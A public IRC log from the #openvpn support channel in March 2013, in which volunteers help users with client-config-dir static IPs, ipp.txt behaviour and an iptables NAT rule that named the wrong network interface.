21:21 -!- sh_t [~sht@lu.privatevpn.com] has joined #openvpn
21:26 -!- sh_t [~sht@lu.privatevpn.com] has quit [Ping timeout: 245 seconds]
21:28 -!- sh_t [~sht@NL2.privatevpn.com] has joined #openvpn
21:46 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
21:47 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
21:48 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 252 seconds]
22:04 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
22:06 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-jfwecqjheggpxujq] has quit [Ping timeout: 252 seconds]
22:06 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-oezetszxfobedvxh] has quit [Ping timeout: 256 seconds]
22:07 -!- paccer [uid4847@gateway/web/irccloud.com/x-alqdhrhtspqzjhoz] has quit [Ping timeout: 246 seconds]
22:08 -!- b00gz_ [~uid6869@gateway/web/irccloud.com/x-kkrfkdubixvsunqu] has quit [Ping timeout: 260 seconds]
22:21 -!- p3rror [~mezgani@41.249.23.19] has quit [Ping timeout: 248 seconds]
22:22 -!- aaaar0n [~no@c-174-56-147-242.hsd1.sc.comcast.net] has joined #openvpn
22:22 -!- aaaar0n is now known as ar0nic
22:26 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has quit [Ping timeout: 264 seconds]
22:28 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-fulzpfazgvsxtjda] has joined #openvpn
22:33 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
22:41 -!- [fred] [fred@konfuzi.us] has joined #openvpn
22:45 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
22:58 -!- [fred] [fred@konfuzi.us] has joined #openvpn
23:18 -!- ar0nic [~no@c-174-56-147-242.hsd1.sc.comcast.net] has quit [Ping timeout: 255 seconds]
23:38 -!- latenite [~latenite@138.77.122.195] has joined #openvpn
23:43 < latenite> Hi folks, For the "client-config-dir ccd" setup I need the cliet common name. Getting this: Subject: C=US, ST=CA, L=Berlin, O=private, CN=client_x301/emailAddress=kai@poeritz.de
23:43 < latenite> Would the common name be: client_x301
23:44 < latenite> or
23:44 < latenite> client_x301/emailAddress=kai@poeritz.de
23:44 < pekster> client_x301
23:44 < pekster> The extra part is just the emailAddress attribute
23:44 < latenite> pekster, thank you.
23:45 < latenite> pekster, I just talked to my ISP. And I will try not to use DNAT but rather by 2 more IPs
23:45 < latenite> What do you think of that? Thats technicly better. Right?!
23:46 < pekster> Anything that avoids NAT is good, although you still need to be careful about on-link vs routed
23:46 < pekster> It's a lot easier to use tap if upstream expects it to be on-link, or you can use solutions like arp proxying
23:47 < latenite> pekster, latenite <- laughs :D
23:47 < pekster> Or a 1:1 NAT to rfc1918 I suppose, but then you're back to some NAT again (albiet more managable)
23:47 < latenite> pekster, you throw all these cool new words at me. I get dizzy :D
23:47 < latenite> on-link vs routed ?
23:48 < pekster> How are you getting the IPs? Will your network provider be routing them to the IP of your existing host, or do you get additional IPs on the subnet (aka on-link)
23:49 < latenite> pekster, that I dont know jet. Its kind of hard to get IP from them. One has to fill out a form and politrly ask for then...even tell them why one want then and what for
23:49 < latenite> I will now in a couple hours which and if I get the IPs
23:50 < latenite> for now I try to setup the vpn server so it pushed static IP to the clients
23:52 < latenite> pekster, so "on-link" meen IN the same subnet?! and routed means you get to add a default route to the machine that has the new IP to reach the host?
23:55 < pekster> If I understand you correctly, yes
23:58 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
23:58 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
23:58 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
23:58 -!- mode/#openvpn [+o krzee] by ChanServ
--- Day changed Tue Mar 05 2013
00:01 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 272 seconds]
00:03 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-kigwgkzeuuhujksq] has joined #openvpn
00:04 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-lamyntzwqdjvorgy] has joined #openvpn
00:05 < latenite> pekster, nice. ok.
00:05 < latenite> pekster, can you show me an example of ./ccp/clientfile ?
00:05 < latenite> What can/has to be in there besides:
00:05 < latenite> ifconfig-push ${clientip}
00:05 <@krzee> !ccd
00:05 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
00:06 < latenite> krzee, (nice nick by the way) :D
00:07 < latenite> which would be the "put the config options for the client in" ?
00:07 <@krzee> what are you trying to do?
00:07 < latenite> what else is essentail besides the IP
00:07 <@krzee> thats for you to answer, not me
00:07 <@krzee> i cant decide your goals
00:08 < latenite> krzee, I want my client to have one of the IP in my pool. So it can be publicly accessable through the VPN
00:08 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
00:09 <@krzee> i see
00:09 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
00:09 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
00:09 <@krzee> do you have a range of IPs that was routed to you?
00:09 < latenite> krzee, would I only need to push the IP. Or also the gateway, netmask ...
00:10 < latenite> krzee, "range"..kind of. I have to extra IPs
00:10 <@krzee> when you say "in my pool" you mean the pool used in --server?
00:11 < latenite> krzee, no I meen pool as in "what my IPS provides me with"
00:11 <@krzee> hmm if pekster was suggesting something go with whatever he's saying
00:11 < latenite> krzee, I figured I had to tell the server somehow that there are IP it can select from. I did not knwo how though
00:12 < pekster> Well, we never firged out how the IPs are available, so any suggestions I had were as-yet theoretical
00:12 <@krzee> personally i'ld prolly end up doing bi-directional NAT in your case, he prolly has a cleaner way if he was talking about pushing an ip in ccd
00:12 <@krzee> ohh ok, so you were thinking what i was orig thinking
00:12 <@krzee> him saying "i just have some extra IPS" made me think thats not going to be doable
00:12 <@krzee> ... didnt sound like he has blocks routed to him
00:13 < pekster> I'm guessing it'll just be on-link, so either a tap bridge, arp-proxy, or server holds all 3 IPs and 1:1 NAT
00:13 -!- paccer [uid4847@gateway/web/irccloud.com/x-ulcvmydcnprnqyfl] has joined #openvpn
00:13 < pekster> If they're routed, then PtP if the clients suppor that, or trickery if the client's are Windows
00:14 < pekster> pick(cat->skin);
00:15 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
00:16 -!- Dr_Wendy [~FuckOff@208.102.159.64] has joined #openvpn
00:18 < Dr_Wendy> Is this the appropriate place to ask for a bit of help?
00:19 -!- latenite [~latenite@138.77.122.195] has quit [Ping timeout: 245 seconds]
00:19 < Dr_Wendy> It seems like my issue is indeed with my iptables... but i cannot see what i am missing
00:20 < Dr_Wendy> i had openvpn setup just fine on this server... then i switched my distro to wheezy instead of squeeze
00:20 -!- latenite [~latenite@138.77.122.195] has joined #openvpn
00:20 < Dr_Wendy> now the connection is fine... but no data is getting through
00:21 < latenite> pekster, krzee sorry
00:21 < latenite> my wifi is just DEAD slow..I can hardly type here
00:22 <@krzee> Dr_Wendy, you can post them and see if anyone catches it, but i note that there is also #iptables and #debian
00:22 <@krzee> well #iptables is ##netfilter but same thing :D
00:22 < Dr_Wendy> i tried debian once before... it was dead silent in there
00:22 < Dr_Wendy> waited for hours with no help
00:22 < Dr_Wendy> >_>
00:22 < Dr_Wendy> maybe a fluke?
00:23 < latenite> my wifi is just DEAD slow..I can hardly type here
00:23 < pekster> #netfilter, single hash
00:23 <@krzee> heh, yet managed to type that 2x
00:23 < Dr_Wendy> krzee: the really frustrating part is that i have this exact setup working perfectly fine with an OpenVZ based vps
00:23 <@krzee> oh ya? i thought it was unofficial, thats cool!
00:23 < latenite> pekster, so why is there always two IP in ifconfig-push? Like 172.31.111.150 172.31.111.145
00:23 < latenite> ifconfig-push 172.31.111.150 172.31.111.145
00:23 < Dr_Wendy> yet on my dedicated server... it fooked up
00:24 < pekster> latenite: manpage expalins it. It's local vs remote of a PtP peerint
00:24 < pekster> peering*
00:24 < pekster> or local/subnet in tap or subnet topology
00:25 < Dr_Wendy> krzee: for the dedicated server... i don't really have any rules set
00:26 < Dr_Wendy> this is what i did...
00:26 < Dr_Wendy> echo 1 > /proc/sys/net/ipv4/ip_forward
00:26 < Dr_Wendy> iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o venet0 -j MASQUERADE
00:26 < Dr_Wendy> iptables-save > /etc/iptables.conf
00:26 < Dr_Wendy> echo '#!/bin/sh' > /etc/network/if-up.d/iptables
00:26 < Dr_Wendy> echo "iptables-restore < /etc/iptables.conf" >> /etc/network/if-up.d/iptables
00:26 < Dr_Wendy> chmod +x /etc/network/if-up.d/iptables
00:26 < Dr_Wendy> echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf
00:27 < Dr_Wendy> but... ive also killed the MASQERADE rule... and replaced it with...
00:27 < Dr_Wendy> iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o venet0 -j SNAT --to MY.IP.HERE
00:28 < Dr_Wendy> still no data getting through
00:28 < Dr_Wendy> sorry for the spam >_<
00:28 < latenite> pekster, ok found it. How do I figure out the remote-netmask on the server?
00:29 < pekster> Dr_Wendy: Pinging your VPN peer works now?
00:30 < pekster> latenite: No clue, that depends on your setup. netmask is only used in tun+subnet, or tap modes. You use the IP to peer with in p2p or net30 topologies with tun
00:30 < Dr_Wendy> i can properly connect from home just fine
00:30 < latenite> pekster, that's the server: https://gist.github.com/anonymous/5088437 so would it be: 255.255.255.248
00:30 <@vpnHelper> Title: gist:5088437 (at gist.github.com)
00:30 < pekster> Not what I asked. Can you ping the VPN peer via its VPN IP?
00:31 < pekster> latenite: You can't do what you propose with tun. You can't "magically" assign routed connections to a remote subnet like that
00:31 <@krzee> im watching/loving TPB AFK
00:32 < pekster> I took pride that my copyleft OS accessed, downloaded, and is still seeding that, and it's all 100% legit as it's CC-by-sa
00:33 <@krzee> dude just explained to the judge that the DMCA stuff was spam
00:33 <@krzee> lol
00:33 <@krzee> "spam is email i did not request"
00:35 < Dr_Wendy> pekster: https://pastee.org/tqg3s
00:36 < pekster> Dr_Wendy: That's expected (10.8.0.5 is just a virtual peering IP - you reach your server on .1) pastebin 'iptables-save -c'
00:37 < pekster> And then your server openvpn config
--- Log closed Tue Mar 05 00:38:49 2013
--- Log opened Tue Mar 05 00:39:43 2013
00:39 -!- ecrist_ [~ecrist@2607:fc50:1001:5200::2] has joined #openvpn
00:39 -!- Irssi: #openvpn: Total of 175 nicks [8 ops, 0 halfops, 5 voices, 162 normal]
00:40 -!- Irssi: Join to #openvpn was synced in 41 secs
00:40 < Dr_Wendy> https://pastee.org/2497w
00:41 < pekster> And venet0 is your upstream interface?
00:41 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 250 seconds]
00:41 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has quit [Ping timeout: 246 seconds]
--- Log closed Tue Mar 05 00:47:27 2013
--- Log opened Tue Mar 05 00:53:31 2013
00:53 -!- ecrist [~ecrist@token-black.secure-computing.net] has joined #openvpn
00:53 -!- Irssi: #openvpn: Total of 174 nicks [6 ops, 0 halfops, 4 voices, 164 normal]
00:53 -!- mode/#openvpn [+o ecrist] by ChanServ
00:53 < Dr_Wendy> Password is Hello
00:54 -!- Irssi: Join to #openvpn was synced in 40 secs
00:54 < pekster> s/H/h/
00:54 < Dr_Wendy> ?
00:55 < pekster> You need to add the 'route-gateway 10.8.0.1' directive to the client, or push it from the server
00:55 < pekster> that's not included by default in net30 topology, and you cannot use redirect-gateway without that value IIRC. Client logs probably have an error to this effect
00:56 < Dr_Wendy> no errors in the client logs
00:56 < Dr_Wendy> what i don't understand is that i am not doing anything different from my normal setup
00:57 < Dr_Wendy> however
00:57 < Dr_Wendy> there is one thing that i have neglected to mention... but i don't think it should effect my problem
00:58 < Dr_Wendy> I switched to wheezy and i was using squeeze.... but i used the ovpn squeeze repo to instal ovpn
00:58 < pekster> What's the routing table on the client look like after connection?
00:58 < pekster> !interface
00:58 < pekster> Ugh, bot is missing
00:59 < pekster> simply, 'route print -4' when the VPN is up
00:59 -!- Webhostbudd_ [~Webhostbu@c-24-7-197-240.hsd1.il.comcast.net] has joined #openvpn
00:59 < Dr_Wendy> i would have compiled 2.3.0 from source... but last time i did that... everything installed to non standard directories
01:00 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Ping timeout: 255 seconds]
01:00 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
01:00 < Dr_Wendy> route print -4 server side?
01:00 < pekster> /usr/local is quite standard when building from source; touching /usr on a modern Linux distro is going to cause you headache, so don't do it
01:00 < pekster> client side
01:00 < Dr_Wendy> client side will be windows for now
01:01 < pekster> Right, this is why the route command is windows syntax
01:02 < Dr_Wendy> give me a moment to paste this
01:03 -!- Webhostbudd [~Webhostbu@c-24-7-197-240.hsd1.il.comcast.net] has quit [Ping timeout: 255 seconds]
01:09 < Dr_Wendy> any insight pekster?
01:11 < pekster> How far does a traceroute to 4.2.2.1 get?
01:11 < pekster> Or, since this is windows, '
01:11 < pekster> 'tracert 4.2.2.1'
01:12 < Dr_Wendy> i know how to traceroute in windows lol
01:12 < Dr_Wendy> but yeah, i can connect and try again... but i am certain it just times out
01:12 < Dr_Wendy> everything times out
01:13 < Dr_Wendy> this is what i get when i try to connect to anything after i connect to the server through ovpn
01:14 < pekster> A traceroute should not time out with that setup; you should at the very least get to your server
01:14 < pekster> If you do not, you have much more serious issues
01:14 < pekster> And no, "everything" doesn't time out as you can ping the server itself
01:15 < Dr_Wendy> https://pastee.org/79cyr
01:16 < Dr_Wendy> anything other than the server is unreachable
01:19 < Dr_Wendy> Pinging 8.8.8.8 with 32 bytes of data:
01:19 < Dr_Wendy> Request timed out.
01:19 < Dr_Wendy> Request timed out.
01:19 < Dr_Wendy> Request timed out.
01:19 < Dr_Wendy> Request timed out.
01:19 < Dr_Wendy> Ping statistics for 8.8.8.8:
01:19 < Dr_Wendy> Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
01:20 < pekster> Right, so, a trace...
01:20 < Dr_Wendy> is taking a long time
01:20 < Dr_Wendy> lol
01:21 < pekster> After maybe 6 hops it won't matter anyway. If you don't get to the server as your next-hop, there's a problem
01:21 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 248 seconds]
01:22 < Dr_Wendy> Tracing route to 8.8.8.8 over a maximum of 30 hops
01:22 < Dr_Wendy> 1 111 ms 111 ms 112 ms 10.8.0.1
01:22 < Dr_Wendy> 2 * * * Request timed out.
01:22 < Dr_Wendy> 3 * * * Request timed out.
01:22 < Dr_Wendy> 4 * * * Request timed out.
01:22 < Dr_Wendy> 5 * * * Request timed out.
01:22 < Dr_Wendy> 6 * * * Request timed out.
01:22 < Dr_Wendy> 7 ^C
01:22 < pekster> Check your iptables-save -c output on the server again: is the MASQUERADE rule being hit?
01:23 < pekster> it should have a hitcount with values higher than [0:0]
01:23 < pekster> Next up would be to check 'sysctl net.ipv4.ip_forward'
01:23 < Dr_Wendy> [0:0] -A POSTROUTING -s 10.8.0.0/24 -o venet0 -j MASQUERADE
01:23 < Dr_Wendy> [0:0] -A POSTROUTING -s 10.8.0.0/24 -o venet0 -j SNAT --to-source SERVER.IP.HERE
01:24 < pekster> Should be '1' for forwarding to be enable
01:24 < pekster> +d
01:24 < Dr_Wendy> it is
01:24 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
01:24 -!- mode/#openvpn [+o vpnHelper] by ChanServ
01:24 < pekster> 'ip -r' on the server show the default route out via venet0 (spelling/case counts here)
01:26 < Dr_Wendy> that command does not work
01:26 < Dr_Wendy> could you be more specific?
01:26 < Dr_Wendy> sorry for any trouble
01:26 < rob0> "ip r"
01:26 < pekster> The default route needs to be out via venet0 for the NAT rule to work
01:26 < rob0> no -
01:27 < pekster> rob0: Good catch; I'm up later than I should be. I *think* I put that right in the bot (but best check that too...)
01:27 < pekster> !interface
01:27 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) For Windows: iface: 'ipconfig /all' routing: 'route print' (add -4 or -6 for just IPv4 or v6) or (#3) For Unix: iface: 'ifconfig -a' routing: 'netstat -rn' or (#4) For Linux:
01:27 <@vpnHelper> iface: 'ip a' routing: 'ip r' (use ip -6 for IPv6 routes)
01:28 < Dr_Wendy> would you like me to paste my /etc/network/interfaces file?
01:28 < pekster> Just look at 'ip r' for the default route and verify it's venet0
01:28 < pekster> Either it's the wrong interface, or the packets aren't getting routed where you think they are
01:29 < Dr_Wendy> there is 0 mention of venet0 in my interfaces file
01:29 < Dr_Wendy> but that has never been an issue before
01:29 < pekster> You're performing NAT based on that as an output interface...
01:29 < Dr_Wendy> forgive my ignorance... but you lost me there
01:29 < rob0> the SNAT rule would never be hit anyway, since the same matching criteria are used on the previous rule
01:29 < pekster> If you don't actually have that interface, you're not NATing the packets (which is why your hitcounts on the rules have matched 0 packets) and they are thus unroutable as you send them upstream
01:30 < pekster> Dr_Wendy: Your netfilter setup, line 14 here: https://pastee.org/ytd5b
01:30 < pekster> If you do not have a "venet0" interface, then you apparently blindly coppied some example rule from somewhere without understanding that it must match your interface, not the blog you pulled it from
01:30 < pekster> -o is "output interface" as described in iptables(8)
01:31 < Dr_Wendy> only interface i have in use is eth0
01:31 < pekster> Then fix your NAT rule
01:31 < pekster> That's why this doesn't work
01:31 < Dr_Wendy> .__.
01:32 < Dr_Wendy> i wonder if this is an issue with ovh's images
01:32 < Dr_Wendy> when i was using squeeze... that exact rule was fine
01:32 < Dr_Wendy> i'll admit to being a novice with iptables, among other things... but it was working before
01:33 < pekster> Then it would stand to reason either your interface name or netfilter rules changed
01:33 < rob0> You can't use random interface names. Use real names.
01:34 < pekster> Well, you can use a random name if it matches a real one :P. ip link set dev eth0 rob0570463 ;)
01:34 < pekster> s/eth0/name/
01:34 < pekster> Ugh
01:34 < pekster> Nevermind, I'm going to bed instead. You know what I meant :P
01:35 < Dr_Wendy> so i should change the rule to iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE and it should work?
01:35 < Dr_Wendy> also... do you guys prefer MASQUERADE?
01:36 < Dr_Wendy> or do you use rules more like my other rule
01:36 < pekster> MASQUERADE is fine. Technically it incurs a slight performance hit, but not that's going to impact your usage
01:36 < Dr_Wendy> btw... the reason i usually stick with venet0 is because most of my boxes are vps
01:36 < pekster> You can't "stick with" an interface that doesn't exist
01:37 < Dr_Wendy> lesson learned
01:37 < rob0> Nevertheless, you must use real interface names.
01:37 < Dr_Wendy> you have my sincere thanks
01:37 < Dr_Wendy> all of you
01:40 < Dr_Wendy> so iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j SNAT --to IP.HERE will not incur the same performance hit that MASQUERADE does?
01:40 < Dr_Wendy> just want to be sure before i commit
01:40 < Dr_Wendy> i'd like things to be as efficient as possible
01:41 < pekster> They do the same thing, with the exception that SNAT needs to be updated when your IP changes, while MASQUERADE queries the IP on the interface for every packet. This is a fast query, but it happens for every packet
01:41 < Dr_Wendy> i see
01:42 < Dr_Wendy> thank you pekster
01:43 < Dr_Wendy> working perfectly
01:43 < Dr_Wendy> lesson learned
01:44 < Dr_Wendy> now let's see if i can fix my xen box
01:44 < Dr_Wendy> haha
01:52 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
01:55 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Client Quit]
01:59 -!- vaillor [~lol2@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 252 seconds]
02:10 -!- genghi [~Adium@2.171.156.135] has joined #openvpn
02:12 < genghi> hi all… openvpn is resetting my ipp.txt to zero length after I manually add reservations.  What should I do to prevent that?
02:12 < genghi> I am not using duplcate-cn, fwiw
02:18 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
02:19 -!- aaaar0n [~no@c-174-56-147-242.hsd1.sc.comcast.net] has joined #openvpn
02:19 -!- aaaar0n is now known as ar0nic
02:22 <@krzee> !ipp
02:22 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static
02:22 <@krzee> genghi, ^   =]
02:23 < genghi> thanks
02:23 < genghi> !static
02:23 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder
02:24 <@krzee> np
02:24 < genghi> in this case, I have a few addresses that should never be used, if I create a "dummy" ccd with those addresses, will that ensure the reservered addresses will not be allocated?
02:25 < genghi> !iporder
02:25 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
02:27 <@krzee> or you could use addresses outside the pool
02:27 <@krzee> like in the howto here:
02:27 <@krzee> !policy
02:27 <@vpnHelper> "policy" is (#1) http://openvpn.net/howto.html#policy for Configuring client-specific rules and access policies or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules for a lil writeup by mario
02:28 -!- Dr_Wendy [~FuckOff@208.102.159.64] has quit [Quit: Senkei.Senbonzakura.Kageyoshi]
02:29 <@krzee> let the pool be for normal users
02:29 <@krzee> ones that need static, give them a different subnet
02:30 <@krzee> then you wont have to worry about it giving out your static ips
02:36 < genghi> it's not a question of handing out dup IPs, there is one address reserved for routing issues that I just don't want allocated even though it is in the beginning of the network range for openvpn clients
02:45 <+EugeneKay> krzee, are you about
02:45 <@krzee> about to smoke one?  yep!
02:45 <+EugeneKay> Hehe
02:45 <@krzee> genghi, huh?
02:45 <+EugeneKay> I'm trying to solve a problem with a HA network, maybe you can be of some help
02:46 <+EugeneKay> I have a pair of servers, call them A and B. Both run openvpn, and keepalived.
02:46 <+EugeneKay> Behind them is a coupla LANs, which openvpn clients need to access
02:48 <+EugeneKay> The issue is that if clients are connected to one box, and that box is not the keepalived master, they won't be able to reach any of the server LANs
02:48 <+EugeneKay> What I'm doing as a workaround is nathack
02:49 <+EugeneKay> Thoughts?
02:50 < genghi> given this server config:  10.1.1.128 255.255.255.128   openvpn is handing out 10.1.1.130 as an IP to the first client, though that is the p-t-p addr on the server
02:50 <+EugeneKay> genghi - just use --topology subnet. Really.
02:50 < genghi> so the first client that connects gets an unusable address
02:50 <+EugeneKay> It'll make your life a lot simpler
02:50 < genghi> I am using that
02:50 < genghi> topology subnet
02:51 <+EugeneKay> krzee - oh nevermind.... apparently keepalived has a way to run scripts on takeover/giveback. I'll just abuse that.
02:53 <@krzee> A and B are on the same lans?
02:53 <+EugeneKay> Yeah
02:53 <+EugeneKay> They're redundant routers
02:54 <@krzee> ahh nice
02:54 <@krzee> so linux's carp
02:55 <+EugeneKay> I'll just have the up/down script add/remove a SNAT rule
02:55 <+EugeneKay> I /could/ have it route the traffic to the other node, but that's more failure-prone IMO
02:56 <@krzee> genghi, why split a 1918 block for openvpn? just give it a whole /24 lol
02:56 <+EugeneKay> And at that point I might as well run a full routing daemon, which I'm trying not to do
03:09 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:21 -!- zz_AsadH is now known as AsadH
03:44 -!- marksaitis [~marksaiti@81.101.81.114] has joined #openvpn
03:48 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
03:59 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 252 seconds]
03:59 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
03:59 < Wulf> Hi
03:59 < Wulf> I need to execute a command as root when a client connects. How can I do that?
04:00 <@krzee> !script
04:00 <@vpnHelper> "script" is see http://openvpn.net/index.php/open-source/documentation/manuals/69-openvpn-21.html#lbAR for a list of places scripts can hook into openvpn
04:00 <@krzee> you'll want client-connect
04:00 <@krzee> and no dropping permissions with --user / --group
04:01 < Wulf> oh, thanks. I was looking at "client-config-dir"
04:02 <@krzee> np
04:10 -!- nonotza [~nonotza@cpe-74-73-224-62.nyc.res.rr.com] has quit [Quit: nonotza]
--- Log closed Tue Mar 05 04:21:28 2013
--- Log opened Tue Mar 05 04:33:14 2013
04:33 -!- ecrist [~ecrist@token-black.secure-computing.net] has joined #openvpn
04:33 -!- Irssi: #openvpn: Total of 177 nicks [7 ops, 0 halfops, 4 voices, 166 normal]
04:33 -!- mode/#openvpn [+o ecrist] by ChanServ
04:33 -!- Irssi: Join to #openvpn was synced in 42 secs
04:35 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-kigwgkzeuuhujksq] has quit [Ping timeout: 255 seconds]
04:36 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-obkuahzvfsrfbrdf] has joined #openvpn
--- Log closed Tue Mar 05 04:38:23 2013
--- Log opened Tue Mar 05 04:55:56 2013
04:55 -!- ecrist [~ecrist@token-black.secure-computing.net] has joined #openvpn
04:55 -!- Irssi: #openvpn: Total of 175 nicks [6 ops, 0 halfops, 4 voices, 165 normal]
04:55 -!- mode/#openvpn [+o ecrist] by ChanServ
04:56 -!- Irssi: Join to #openvpn was synced in 40 secs
04:56 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
05:28 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
05:28 -!- mode/#openvpn [+o vpnHelper] by ChanServ
05:33 -!- ar0nic [~no@c-174-56-147-242.hsd1.sc.comcast.net] has quit [Ping timeout: 276 seconds]
05:41 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
05:45 -!- vaillor [~lol2@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
05:45 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
05:45 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
06:06 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Excess Flood]
06:07 -!- latenite [~latenite@138.77.122.195] has quit [Ping timeout: 276 seconds]
06:13 -!- sw0rdfish- [~bingo@156.52.198.220] has joined #openvpn
06:13 -!- sw0rdfish- [~bingo@156.52.198.220] has quit [Remote host closed the connection]
06:17 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
06:17 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
06:39 < vaillor> which one between privatetunnel.msi and openvpn-install-2.3.0-I004-i686.exe is better?
06:39 -!- micw [~micw@178-24-236-6-dynip.superkabel.de] has joined #openvpn
06:39 < micw> hi
06:40 < micw> i have 2 servers, both with multiple external ips. now I'd like to make one of the ips appear to be on the other server. is this possible with openvpn?
06:40 < micw> I'll explain a bit more:
06:41 < micw> i have ServerA with IP A1 and IP A2 and ServerB with IP B1.
06:41 < micw> now i want to move applications running on IP A2 to ServerB. But the IP is bound to the location of ServerA
06:42 < micw> I'd setup an openvpn connection between both, using a private subnet for the vpn
06:43 < micw> on ServerA i set a route to IP A2 over the vpn
06:43 < micw> on ServerB i simply set up the IP A1. now traffic to IP A2 would go through ServerA to ServerB. But what happens with all answer traffic?
06:45 -!- nonotza [~nonotza@cpe-74-73-224-62.nyc.res.rr.com] has joined #openvpn
06:45 < micw> or should i use bridging here?
06:45 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 255 seconds]
06:46 < genghi> do you want the IP live in two locations at once?  Or move it over when needed?
06:46 < micw> i want to move it over
06:46 < micw> on ServerA runs a virtual machine (i call it A2) which owns IP A2
06:46 < genghi> sounds to me more like you want heartbeat
06:47 < micw> i want to move it to ServerB and assign there 2 IPs to it (A2 and B2)
06:47 < micw> after this, i migrate all services to IP B2
06:47 < micw> it's just a temporary solution
06:48 < micw> since this are virtual machines (and their virtual network card is part of a bridge) bridging might be a better solution here
06:49 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:49 < micw> can i setup ip-less bridging with openvpn? i.e. simply having the tun/tap devices there which behaves like one local bridge?
06:55 -!- latenite [~latenite@138.77.122.195] has joined #openvpn
06:59 -!- p3rror [~mezgani@41.249.23.19] has joined #openvpn
07:02 < micw> hey cool. simple routing with minimal openvpn config (static key, 2 fixed peer-to-peer ips) works
07:03 < micw> on ServerA i set a route for IP A2 to the vpn device
07:03 < micw> on ServerB i set the route for IP A2 to the local bridge
07:03 < micw> no idea how the traffic goes way back
07:09 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
07:13 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
07:17 -!- latenite [~latenite@138.77.122.195] has quit [Ping timeout: 245 seconds]
07:23 < vaillor> i connected client-server but they don't ping
